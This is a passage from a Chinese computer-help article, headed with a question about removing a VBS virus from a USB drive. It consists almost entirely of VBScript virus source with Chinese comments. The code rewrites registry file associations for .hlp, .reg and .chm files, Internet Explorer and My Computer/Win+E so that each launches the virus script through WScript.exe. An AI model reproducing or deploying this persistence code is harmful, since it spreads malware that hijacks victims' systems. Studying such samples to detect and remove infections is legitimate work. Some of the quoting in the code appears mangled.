u盘中了vbs病毒怎么办_u盘vbs病毒杀不干净_vbs病毒(10)

On Error Resume Next

Dim Value

Value='%SystemRoot%\System32\WScript.exe'&''''&sFilePath&''''&' %1 %* '

CallWriteReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\',Value, 'REG_EXPAND_SZ')

End Sub

Sub SetRegFileAss(sFilePath)'改变reg格式文件关联

On Error Resume Next

Dim Value

Value='%SystemRoot%\System32\WScript.exe'&''''&sFilePath&''''&' %1 %* '

CallWriteReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\',Value, 'REG_EXPAND_SZ')

End Sub

Sub SetchmFileAss(sFilePath)'改变chm格式文件关联

On Error Resume Next

Dim Value

Value='%SystemRoot%\System32\WScript.exe'&''''&sFilePath&''''&' %1 %* '

CallWriteReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\',Value, 'REG_EXPAND_SZ')

End Sub

Sub SetIEAss(sFilePath)'篡改IE启动设置

On Error Resume Next

Dim Value

Value='%SystemRoot%\System32\WScript.exe'&''''&sFilePath&''''&' OIE '

CallWriteReg('HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\',Value, 'REG_EXPAND_SZ')

CallWriteReg('HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\',Value, 'REG_EXPAND_SZ')

End Sub

Sub SetMyComputerAss(sFilePath)'改变我的电脑的打开关联，包括Win+E

On Error Resume Next

Dim Value1,Value2

Value1='%SystemRoot%\System32\WScript.exe'&''''&sFilePath&''''&' OMC '

Value2='%SystemRoot%\System32\WScript.exe'&''''&sFilePath&''''&' EMC '

CallWriteReg('HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\','', 'REG_SZ')

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25802-10.html